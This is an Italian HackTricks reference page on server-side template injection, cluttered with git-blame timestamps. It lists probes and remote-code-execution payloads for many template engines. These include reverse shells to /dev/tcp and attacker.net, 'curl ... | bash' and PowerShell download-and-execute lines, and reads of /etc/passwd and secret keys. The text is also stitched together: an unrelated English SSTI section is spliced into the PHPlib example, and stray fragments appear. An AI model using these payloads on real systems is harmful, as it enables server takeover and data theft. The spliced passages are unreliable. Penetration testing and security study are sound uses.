Plates è un motore di template nativo di PHP, che trae ispirazione da Twig. Tuttavia, a differenza di Twig, che introduce una nuova sintassi, Plates utilizza il codice PHP nativo nei template, rendendolo intuitivo per gli sviluppatori PHP.
2024-02-06 15:12:47 +01:00
Controller:
```php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
```
2024-02-10 13:03:23 +00:00
Modello di pagina:
```php
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
```
2024-02-10 13:03:23 +00:00
Modello di layout:
```html
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
```
**Ulteriori informazioni**
2024-02-06 15:12:47 +01:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates)
2024-02-10 13:03:23 +00:00
### PHPlib e HTML\_Template\_PHPLIB (PHP)
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) è lo stesso di PHPlib ma portato su Pear.
`authors.tpl`
```html
<html>
2024-02-10 13:03:23 +00:00
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
2024-02-10 13:03:23 +00:00
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
2024-02-10 13:03:23 +00:00
</tbody>
</table>
</body>
</html>
```
# SSTI (Server-Side Template Injection)
2024-02-10 13:03:23 +00:00
## authors.php
2024-02-10 13:03:23 +00:00
### Description
2024-02-10 13:03:23 +00:00
The `authors.php` file is vulnerable to Server-Side Template Injection (SSTI). This vulnerability allows an attacker to inject and execute arbitrary code on the server by manipulating template variables.
2024-02-10 13:03:23 +00:00
### Exploitation
2024-02-10 13:03:23 +00:00
To exploit this vulnerability, an attacker can inject template code into the `author` parameter of the URL. For example, by appending `?author={{7*7}}` to the URL, the attacker can perform arithmetic operations on the server.
### Recommendation
To mitigate SSTI vulnerabilities, avoid directly passing user input to template engines. Sanitize and validate all user inputs before using them in templates.
```php
<?php
//we want to display this author list
$authors = array(
2024-02-10 13:03:23 +00:00
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
2024-02-10 13:03:23 +00:00
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
```
2024-02-10 13:03:23 +00:00
**Ulteriori informazioni**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib)
2024-02-06 15:12:47 +01:00
2022-05-01 13:25:53 +00:00
### Jade (NodeJS)
2021-06-25 12:34:30 +00:00
```javascript
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```
```javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```
2024-02-10 13:03:23 +00:00
**Ulteriori informazioni**
2021-06-25 12:34:30 +00:00
2024-02-10 13:03:23 +00:00
* Nella sezione Jade di [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) motore di template PHP non compilante, che utilizza tag XML per dividere un documento in diverse parti
```xml
<patTemplate:tmpl name="page">
2024-02-10 13:03:23 +00:00
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
```
2024-02-10 13:03:23 +00:00
**Ulteriori informazioni**
2024-02-06 15:12:47 +01:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate)
2022-05-01 13:25:53 +00:00
### Handlebars (NodeJS)
Traversamento del percorso (ulteriori informazioni [qui](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
2021-02-03 09:46:19 +00:00
```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
```
2024-02-10 13:03:23 +00:00
* \= Errore
* ${7\*7} = ${7\*7}
2024-02-10 13:03:23 +00:00
* Nulla
2021-06-25 12:34:30 +00:00
```java
{{#with "s" as |string|}}
2024-02-10 13:03:23 +00:00
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
```
2024-02-10 13:03:23 +00:00
**Ulteriori informazioni**
* [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
2022-05-01 13:25:53 +00:00
### JsRender (NodeJS)
2020-12-01 16:50:24 +00:00
2024-02-10 13:03:23 +00:00
| **Template** | **Descrizione** |
| ------------ | --------------------------------------- |
| | Valuta e renderizza l'output |
2024-02-10 13:03:23 +00:00
| | Valuta e renderizza l'output codificato in HTML |
| | Commento |
| e | Consenti codice (disabilitato per impostazione predefinita) |
2020-12-01 16:50:24 +00:00
* \= 49
2020-12-01 16:50:24 +00:00
**Lato Client**
2021-06-25 12:34:30 +00:00
```python
2020-12-01 16:50:24 +00:00
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
```
**Lato Server**
2020-12-01 16:50:24 +00:00
```bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
```
2024-02-10 13:03:23 +00:00
**Ulteriori informazioni**
2020-12-01 16:50:24 +00:00
* [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/)
2022-05-01 13:25:53 +00:00
### PugJs (NodeJS)
2021-01-09 11:15:51 +01:00
2021-01-10 16:09:49 +01:00
* `#{7*7} = 49`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
2021-12-16 22:42:47 +00:00
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
2021-01-10 16:09:49 +01:00
2024-02-10 13:03:23 +00:00
**Esempio di rendering lato server**
2021-06-25 12:34:30 +00:00
```javascript
2021-01-10 16:09:49 +01:00
var pugjs = require('pug');
home = pugjs.render(injected_page)
```
2024-02-10 13:03:23 +00:00
**Ulteriori informazioni**
2021-01-09 11:15:51 +01:00
* [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/)
2022-05-01 13:25:53 +00:00
### NUNJUCKS (NodeJS) <a href="#nunjucks" id="nunjucks"></a>
2022-02-01 22:03:45 +00:00
2022-02-09 16:22:44 +00:00
* \{{7\*7\}} = 49
* \{{foo\}} = Nessun output
2022-02-01 22:03:45 +00:00
* \#{7\*7} = #{7\*7}
2024-02-10 13:03:23 +00:00
* \{{console.log(1)\}} = Errore
2022-02-01 22:03:45 +00:00
```javascript
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
```
2024-02-10 13:03:23 +00:00
**Ulteriori informazioni**
2022-02-01 22:03:45 +00:00
* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
2022-05-01 13:25:53 +00:00
### ERB (Ruby)
* `{{7*7}} = {{7*7}}`
* `${7*7} = ${7*7}`
* `<%= 7*7 %> = 49`
2024-02-10 13:03:23 +00:00
* `<%= foobar %> = Errore`
2021-06-25 12:34:30 +00:00
```python
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
```
2024-02-10 13:03:23 +00:00
**Ulteriori informazioni**
2021-06-25 12:34:30 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
2021-06-25 12:34:30 +00:00
2022-05-01 13:25:53 +00:00
### Slim (Ruby)
2021-06-25 12:34:30 +00:00
* `{ 7 * 7 }`
```
2021-06-25 12:34:30 +00:00
{ %x|env| }
```
2024-02-10 13:03:23 +00:00
**Ulteriori informazioni**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
2022-05-01 13:25:53 +00:00
### Python
2021-06-25 16:27:28 +00:00
Consulta la seguente pagina per apprendere trucchi sull'**esecuzione di comandi arbitrari eludendo le sandbox** in python:
2021-06-25 16:27:28 +00:00
2022-05-16 08:29:00 +00:00
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
{% endcontent-ref %}
2021-06-25 16:27:28 +00:00
2022-05-01 13:25:53 +00:00
### Tornado (Python)
* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
2024-02-10 13:03:23 +00:00
* `{{foobar}} = Errore`
* `{{7*'7'}} = 7777777`
2021-06-25 12:34:30 +00:00
```python
2022-02-09 16:22:44 +00:00
{% raw %}
{% import foobar %} = Error
2022-02-09 16:22:44 +00:00
{% import os %}
2022-09-26 09:52:47 +00:00
2022-10-03 13:43:01 +00:00
{% import os %}
2022-12-09 14:47:58 +00:00
{% endraw %}
2023-01-13 17:40:30 +00:00
2023-03-05 22:20:47 +00:00
2022-12-09 14:47:58 +00:00
{{os.system('whoami')}}
2022-04-06 08:57:29 +00:00
{{os.system('whoami')}}
```
2024-02-10 13:03:23 +00:00
**Ulteriori informazioni**
2024-02-06 15:12:47 +01:00
* [https://ajinabraham.com/blog/server-side-template-injection-in-tornado](https://ajinabraham.com/blog/server-side-template-injection-in-tornado)
2022-05-01 13:25:53 +00:00
### Jinja2 (Python)
2021-06-25 12:34:30 +00:00
2024-02-10 13:03:23 +00:00
[Sito web ufficiale](http://jinja.pocoo.org)
> Jinja2 è un motore di template completo per Python. Ha il pieno supporto Unicode, un ambiente di esecuzione sandbox opzionale integrato, ampiamente utilizzato e con licenza BSD.
2024-02-10 13:03:23 +00:00
* `{{7*7}} = Errore`
* `${7*7} = ${7*7}`
2024-02-10 13:03:23 +00:00
* `{{foobar}} Niente`
2021-06-25 12:34:30 +00:00
* `{{4*4}}[[5*5]]`
* `{{7*'7'}} = 7777777`
* `{{config}}`
* `{{config.items()}}`
* `{{settings.SECRET_KEY}}`
* `{{settings}}`
2022-04-06 08:57:29 +00:00
* `<div data-gb-custom-block data-tag="debug"></div>`
2021-06-25 12:34:30 +00:00
```python
2022-02-09 16:22:44 +00:00
{% raw %}
{% debug %}
2022-02-09 16:22:44 +00:00
{% endraw %}
2022-06-18 20:54:28 +00:00
{{settings.SECRET_KEY}}
2021-06-25 12:34:30 +00:00
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
```
2024-02-10 13:03:23 +00:00
**Jinja2 - Formato del template**
2021-06-25 12:34:30 +00:00
```python
2022-02-09 16:22:44 +00:00
{% raw %}
2021-06-25 12:34:30 +00:00
{% extends "layout.html" %}
{% block body %}
2024-02-10 13:03:23 +00:00
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
2021-06-25 12:34:30 +00:00
{% endblock %}
2022-02-09 16:22:44 +00:00
{% endraw %}
```
2024-02-10 13:03:23 +00:00
[**RCE non dipendente da**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
2021-06-25 12:34:30 +00:00
```
**Ulteriori dettagli su come sfruttare Jinja**:
2021-06-25 12:34:30 +00:00
2022-07-20 01:03:41 +00:00
{% content-ref url="jinja2-ssti.md" %}
[jinja2-ssti.md](jinja2-ssti.md)
{% endcontent-ref %}
2021-06-07 09:30:58 +00:00
2024-02-10 13:03:23 +00:00
Altri payload su [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
2024-02-06 15:12:47 +01:00
2022-05-01 13:25:53 +00:00
### Mako (Python)
2021-06-25 12:34:30 +00:00
```python
2021-06-07 09:30:58 +00:00
<%
import os
x=os.popen('id').read()
%>
${x}
```
2024-02-10 13:03:23 +00:00
**Ulteriori informazioni**
2024-02-06 15:12:47 +01:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
2022-05-01 13:25:53 +00:00
### Razor (.Net)
2020-07-19 21:53:59 +00:00
* `@(2+2) <= Success`
* `@() <= Success`
* `@("{{code}}") <= Success`
* `@ <= Success`
2024-02-10 13:03:23 +00:00
* `@{} <= ERRORE!`
* `@{ <= ERRORE!`
2020-07-19 21:53:59 +00:00
* `@(1+2)`
2022-01-06 11:03:56 +00:00
* `@( //C#Code )`
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxAC8AdABlAHMAdABtAGUAdAA2ADQALgBlAHgAZQAIAE8AdQB0AEYASQBsAGUAIAhDAOkAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
2020-07-19 21:53:59 +00:00
Il metodo .NET `System.Diagnostics.Process.Start` può essere utilizzato per avviare qualsiasi processo sul server e quindi creare una webshell. È possibile trovare un esempio di webapp vulnerabile in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
2020-07-19 21:53:59 +00:00
2024-02-10 13:03:23 +00:00
**Ulteriori informazioni**
2020-07-19 21:53:59 +00:00
* [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/)
2022-01-06 11:03:56 +00:00
* [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/)
2020-07-19 21:53:59 +00:00
2022-05-01 13:25:53 +00:00
### ASP
2022-02-03 15:39:58 +00:00
* `<%= 7*7 %>` = 49
* `<%= "foo" %>` = foo
2024-02-10 13:03:23 +00:00
* `<%= foo %>` = Nulla
* `<%= response.write(date()) %>` = \<Date>
2024-02-06 15:12:47 +01:00
```xml
2022-02-03 15:39:58 +00:00
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```
2024-02-10 13:03:23 +00:00
**Ulteriori informazioni**
2022-02-03 15:39:58 +00:00
* [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp)
2022-05-01 13:25:53 +00:00
### Mojolicious (Perl)
2020-07-26 18:06:17 +00:00
Anche se è perl, utilizza tag come ERB in Ruby.
2020-07-26 18:06:17 +00:00
* `<%= 7*7 %> = 49`
2024-02-10 13:03:23 +00:00
* `<%= foobar %> = Errore`
```
2020-07-26 18:06:17 +00:00
<%= perl code %>
<% perl code %>
```
2022-05-01 13:25:53 +00:00
### SSTI in GO
2021-05-27 10:20:50 +00:00
2024-02-10 13:03:23 +00:00
Nel motore di template di Go, la conferma del suo utilizzo può essere fatta con payload specifici:
2021-05-27 10:20:50 +00:00
* `{{ . }}`: Rivela l'input della struttura dei dati. Ad esempio, se viene passato un oggetto con un attributo `Password`, `{{ .Password }}` potrebbe esporlo.
* `{{printf "%s" "ssti" }}`: Previsto per visualizzare la stringa "ssti".
2024-02-10 13:03:23 +00:00
* `{{html "ssti"}}`, `{{js "ssti"}}`: Questi payload dovrebbero restituire "ssti" senza aggiungere "html" o "js". Ulteriori direttive possono essere esplorate nella documentazione di Go [qui](https://golang.org/pkg/text/template).
2021-05-27 10:20:50 +00:00
2024-02-10 13:03:23 +00:00
**Sfruttamento XSS**
2022-02-03 00:17:18 +00:00
Con il pacchetto `text/template`, l'XSS può essere diretto inserendo direttamente il payload. Al contrario, il pacchetto `html/template` codifica la risposta per prevenirlo (ad esempio, `{{"<script>alert(1)</script>"}}` risulta in `&lt;script&gt;alert(1)&lt;/script&gt;`). Tuttavia, la definizione e l'invocazione del template in Go possono aggirare questa codifica: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
2022-02-03 00:17:18 +00:00
vbnet Copy code
2022-02-03 00:17:18 +00:00
2024-02-10 13:03:23 +00:00
**Sfruttamento RCE**
2022-02-03 00:17:18 +00:00
Lo sfruttamento RCE differisce significativamente tra `html/template` e `text/template`. Il modulo `text/template` consente di chiamare direttamente qualsiasi funzione pubblica (usando il valore "call"), cosa non consentita in `html/template`. La documentazione per questi moduli è disponibile [qui per html/template](https://golang.org/pkg/html/template/) e [qui per text/template](https://golang.org/pkg/text/template/).
2022-02-03 00:17:18 +00:00
Per RCE tramite SSTI in Go, possono essere invocati i metodi degli oggetti. Ad esempio, se l'oggetto fornito ha un metodo `System` che esegue comandi, può essere sfruttato come `{{ .System "ls" }}`. Di solito è necessario accedere al codice sorgente per sfruttare questo, come nell'esempio fornito:
2022-02-03 00:17:18 +00:00
```go
func (p Person) Secret (test string) string {
2024-02-10 13:03:23 +00:00
out, _ := exec.Command(test).CombinedOutput()
return string(out)
2022-02-03 00:17:18 +00:00
}
```
2024-02-10 13:03:23 +00:00
**Ulteriori informazioni**
2022-02-03 00:17:18 +00:00
* [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html)
* [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
2021-05-27 10:20:50 +00:00
2024-02-10 13:03:23 +00:00
### Altri Exploit
2021-06-25 12:34:30 +00:00
Controlla il resto di [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) per ulteriori exploit. Puoi trovare informazioni interessanti sui tag in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
2021-06-25 12:34:30 +00:00
2022-05-01 13:25:53 +00:00
## BlackHat PDF
2022-10-25 15:56:49 +00:00
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
## Aiuto Correlato
Se pensi che possa esserti utile, leggi:
* [Trucchi di Flask](../../network-services-pentesting/pentesting-web/flask.md)
2024-02-10 13:03:23 +00:00
* [Funzioni magiche di Python](broken-reference/)
2024-02-10 13:03:23 +00:00
## Strumenti
2024-02-06 15:12:47 +01:00
* [https://github.com/Hackmanit/TInjA](https://github.com/Hackmanit/TInjA)
* [https://github.com/vladko312/sstimap](https://github.com/vladko312/sstimap)
* [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
* [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
2021-06-27 21:56:13 +00:00
## Lista di Rilevamento Brute-Force
2021-06-27 21:56:13 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
## Pratica e Riferimenti
* [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
2024-02-06 15:12:47 +01:00
* [https://portswigger.net/web-security/server-side-template-injection](https://portswigger.net/web-security/server-side-template-injection)
2022-04-28 16:01:33 +00:00
2022-10-25 15:56:49 +00:00
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) è l'evento sulla sicurezza informatica più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro fervente per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2024-01-01 18:15:42 +01:00
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>